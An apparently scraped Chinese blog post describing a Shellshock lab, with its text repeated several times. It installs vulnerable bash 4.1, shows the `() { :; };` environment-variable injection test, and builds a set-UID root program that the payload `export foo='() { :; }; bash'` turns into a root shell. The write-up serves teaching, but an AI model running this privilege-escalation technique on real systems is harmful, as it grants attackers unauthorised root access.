Shellsock攻击实验
实验背景
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
-
相关阅读:
【Static Program Analysis
【Py-Github】根据条件筛选Github repo的例子
【Static Program Analysis
【Static Program Analysis
【Static Program Analysis
【Static Program Analysis
【IEEE会议论文】格式规范问题
搜索引擎(3)——查询理解——不可省词
搜索引擎(2)—— 查询理解 —— 分词
搜索引擎(1)—— 概述与功能架构
-
原文地址:https://www.cnblogs.com/funmary/p/11940792.html
-
最新文章
-
2020-10-30 tips
今年有所改变
为什么要孩子背诵诗词
不管那么多
梦见奶奶
回不去的家乡
time series classification and transfer learning
Scikit-learn 多标签分类 multilabel classification(大量训练数据,MultiOutputClassifier,partial_fit)
智能合约的常见漏洞
【Linux常用工具】
-
热门文章
-
[符号执行-入门1]软件测试中的符号执行
Bash script set help function
How not to alienate your reviewers, aka writing a decent rebuttal?
A real example of vioplot in R (sample data and code attached)
[ICLR'17] DEEPCODER: LEARNING TO WRITE PROGRAMS
One example to understand SemFix: Program Repair via Semantic Analysis
[EMSE'17] A Correlation Study between Automated Program Repair and Test-Suite Metrics
[Benchmark] Codeflaws: A Programming Competition Benchmark for Evaluating Automated Program Repair Tools
How to write threats to validity?
Reading List on Automated Program Repair
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
-
相关阅读:
【Static Program Analysis
【Py-Github】根据条件筛选Github repo的例子
【Static Program Analysis
【Static Program Analysis
【Static Program Analysis
【Static Program Analysis
【IEEE会议论文】格式规范问题
搜索引擎(3)——查询理解——不可省词
搜索引擎(2)—— 查询理解 —— 分词
搜索引擎(1)—— 概述与功能架构
-
原文地址:https://www.cnblogs.com/funmary/p/11940792.html
-
最新文章
-
2020-10-30 tips
今年有所改变
为什么要孩子背诵诗词
不管那么多
梦见奶奶
回不去的家乡
time series classification and transfer learning
Scikit-learn 多标签分类 multilabel classification(大量训练数据,MultiOutputClassifier,partial_fit)
智能合约的常见漏洞
【Linux常用工具】
-
热门文章
-
[符号执行-入门1]软件测试中的符号执行
Bash script set help function
How not to alienate your reviewers, aka writing a decent rebuttal?
A real example of vioplot in R (sample data and code attached)
[ICLR'17] DEEPCODER: LEARNING TO WRITE PROGRAMS
One example to understand SemFix: Program Repair via Semantic Analysis
[EMSE'17] A Correlation Study between Automated Program Repair and Test-Suite Metrics
[Benchmark] Codeflaws: A Programming Competition Benchmark for Evaluating Automated Program Repair Tools
How to write threats to validity?
Reading List on Automated Program Repair
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞
4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
export foo='() { :; }; echo Hello World'
bash
>Hello World
bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员
去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了
这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
【Py-Github】根据条件筛选Github repo的例子
【Static Program Analysis
【Static Program Analysis
【Static Program Analysis
【Static Program Analysis
【IEEE会议论文】格式规范问题
搜索引擎(3)——查询理解——不可省词
搜索引擎(2)—— 查询理解 —— 分词
搜索引擎(1)—— 概述与功能架构
- 最新文章
-
2020-10-30 tips
今年有所改变
为什么要孩子背诵诗词
不管那么多
梦见奶奶
回不去的家乡
time series classification and transfer learning
Scikit-learn 多标签分类 multilabel classification(大量训练数据,MultiOutputClassifier,partial_fit)
智能合约的常见漏洞
【Linux常用工具】
- 热门文章
-
[符号执行-入门1]软件测试中的符号执行
Bash script set help function
How not to alienate your reviewers, aka writing a decent rebuttal?
A real example of vioplot in R (sample data and code attached)
[ICLR'17] DEEPCODER: LEARNING TO WRITE PROGRAMS
One example to understand SemFix: Program Repair via Semantic Analysis
[EMSE'17] A Correlation Study between Automated Program Repair and Test-Suite Metrics
[Benchmark] Codeflaws: A Programming Competition Benchmark for Evaluating Automated Program Repair Tools
How to write threats to validity?
Reading List on Automated Program Repair